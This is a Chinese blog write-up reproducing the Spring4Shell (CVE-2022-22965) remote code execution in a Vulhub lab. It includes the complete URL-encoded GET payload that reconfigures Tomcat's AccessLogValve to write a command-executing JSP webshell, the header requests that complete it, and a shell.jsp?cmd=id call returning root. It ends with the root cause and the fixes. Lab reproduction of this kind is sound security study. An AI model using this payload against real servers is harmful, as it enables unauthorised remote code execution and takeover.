1479 字
7 分钟
Spring4Shell(CVE-2022-22965)复现

CVE-2022-22965(Spring4Shell)是 Spring Framework 的远程代码执行漏洞,CVSS 9.8。Spring MVC 的参数绑定机制会递归地将 HTTP 请求参数绑定到 Java 对象属性上,原有黑名单只拦截了 class.classLoader 路径;JDK 9 引入模块化后在 Class 对象上新增了 getModule() 方法,攻击者通过 class.module.classLoader 这条新路径绕过黑名单,访问并篡改 Tomcat 的 AccessLogValve(访问日志组件)的配置属性:把日志输出目录改到 Web 根目录、文件名后缀改为 .jsp、日志内容格式改为一段 JSP 代码,让 Tomcat 自己往 Web 目录写一个 Webshell,实现远程代码执行。利用条件:Spring Framework < 5.3.18 / < 5.2.20,运行在 JDK 9+ 上,且以 WAR 包部署在 Tomcat(Spring Boot 内嵌 Tomcat 的类加载器路径不同,不受此漏洞影响)。

复现基于 Vulhub 的 spring/CVE-2022-22965 靶场(Spring 5.3.17 + JDK 11 + Tomcat),覆盖无害化探测(状态码对比)、Webshell 写入、命令执行三个阶段,并拆解参数绑定、模块化绕过、日志阀篡改的利用链。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2022-229659.8Spring Framework < 5.3.18、< 5.2.20(需 JDK 9+ 且部署于 Tomcat WAR)远程代码执行(RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/spring/CVE-2022-22965
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
7fb0fecd0ed8 vulhub/spring-webmvc:5.3.17 "catalina.sh run" 4 minutes ago Up 4 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22965-spring-1

访问 http://192.168.31.148:8080/,出现以下页面:

Spring 应用首页

尝试加入参数 /?name=test&age=18,发现页面内容发生了变化:

加入 name 和 age 参数后页面变化

端口扫描与服务识别#

Terminal window
┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
MAC Address: 00:0C:29:B3:23:74 (VMware)

Spring 应用返回的 HTML 响应无 <title> 标签,且存在特殊请求处理逻辑,导致 nmap 脚本误判为 Nagios NSCA。

无害化探测:状态码对比#

发送一个完全正常的请求,记录响应码:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -i http://192.168.31.148:8080/
HTTP/1.1 200
Set-Cookie: JSESSIONID=81FD917F820A801DEABA26295E09AB71; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Content-Length: 80

发送一个尝试访问 class.module.classLoader 的请求。如果 Spring 允许访问但你没有提供正确的子属性,或者属性类型不匹配,服务器通常会抛出 400 Bad Request:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -ig http://192.168.31.148:8080/?class.module.classLoader.URLs[0]=test
HTTP/1.1 400
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 2070

发送 class.module.classLoader.URLs[0]=test 时,Spring 尝试按给出的路径去寻找并修改 ClassLoader 中的 URLs 属性。URLs[0] 期望接收的是一个 java.net.URL 对象,而传入的是字符串 "test",Spring 在类型转换时失败,抛出异常并返回 400 状态码。

如果目标没有漏洞(补丁已修复或 JDK 版本不对),Spring 会直接忽略这个参数,返回正常的 200 OK。

写入 Webshell#

向靶机发送 POST 请求,结果收到一个 HTTP 405 Method Not Allowed 错误:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl -i -X POST -d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" http://192.168.31.148:8080/
HTTP/1.1 405
Allow: GET
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 750

后端 Controller 方法仅允许 GET 请求。Spring 的参数绑定只有在请求成功匹配到控制器方法时才会触发,方法不匹配时攻击请求在进入绑定阶段前就被拦截了。

Spring 的属性绑定机制不区分请求方法,改用 GET 传参,使用 Burp Suite 发送请求:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc1%7Di%40%20page%20import%3D%22java.util.*%2Cjava.io.*%22%20%25%7Bc2%7Di%25%7Bc1%7Di%20if%20(request.getParameter(%22cmd%22)%20!%3D%20null)%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22))%3B%20DataInputStream%20dis%20%3D%20new%20DataInputStream(p.getInputStream())%3B%20String%20disLine%20%3D%20%22%22%3B%20while%20((disLine%20%3D%20dis.readLine())%20!%3D%20null)%20%7B%20out.println(disLine)%3B%20%7D%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.31.148:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在修改完配置后,必须通过带有特殊 Header 的请求去填充那些占位符,发送 5-10 次。Tomcat 在写入日志时,看到配置里的 %{c1}i,就会去 Header 里找 c1 的值(即 <%)并写入文件,这样就绕过了 URL 编码对特殊字符的破坏:

GET / HTTP/1.1
Host: 192.168.31.148:8080
c1: <%
c2: %>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=DF935D9D49A390FAA8AC20737BE0D672
Upgrade-Insecure-Requests: 1
Priority: u=0, i

验证命令执行#

访问新生成的 shell.jsp,已经可以正常执行 id:

Terminal window
┌──(kali㿿kali)-[~]
└─$ curl "http://192.168.31.148:8080/shell.jsp?cmd=id"
uid=0(root) gid=0(root) groups=0(root)

漏洞核心原理#

Spring 的参数绑定#

Spring MVC 提供了自动将 HTTP 请求参数绑定到 Java 对象属性上的功能。当向接口发送 ?name=Alice&age=20 时,Spring 会通过反射调用后端 POJO 对象的 setName("Alice") 和 setAge(20)。这种绑定是递归的:如果对象中包含其他对象,可以通过点号(.)一直向下访问。

JDK 9+ 的反射链绕过#

JDK 9 引入了 Module(模块)化概念,在 Class 对象中增加了一个 getModule() 方法。攻击者发现了一条全新的路径:

class(获取当前类)→ module(获取模块)→ classLoader(获取类加载器)

Spring 之前的黑名单只拦截了 class.classLoader,没有预料到通过 module 也能到达 classLoader。

篡改 Tomcat 日志阀(AccessLogValve)#

AccessLogValve 是 Tomcat 负责记录访问日志的组件。攻击者通过请求参数动态修改它的四个关键属性:

  • directory:将日志存放路径改到 Web 根目录(webapps/ROOT)
  • prefix / suffix:将文件名改为 shell.jsp
  • pattern:将日志的内容格式改为一段 JSP 代码,其中 %{c1}i 和 %{c2}i 占位符分别从请求头 c1、c2 中取值(即 <% 和 %>),拼接成完整的 JSP 语句

攻击者发送完配置请求后,Tomcat 每处理一次访问就往 Web 目录写一条含 JSP 代码的日志,最终生成一个可执行任意命令的 shell.jsp。

修复方案#

  • 升级 Spring Framework 至 5.3.18 / 5.2.20 或更高版本(黑名单加入 class.module.classLoader 路径);
  • 无法立即升级时,可通过 ControllerAdvice 的 initBinder 注册全局 WebDataBinder 过滤器,拒绝包含 class. 前缀的参数绑定;
  • Spring Boot 内嵌 Tomcat(默认部署方式)不受此漏洞影响,风险集中在 WAR 包部署于独立 Tomcat 的场景。

参考链接#

Spring4Shell(CVE-2022-22965)复现
https://blog.mal-suen.cn/posts/2022/05/107/
作者
Malcolm
发布于
2022-05-17
许可协议
CC BY-NC-SA 4.0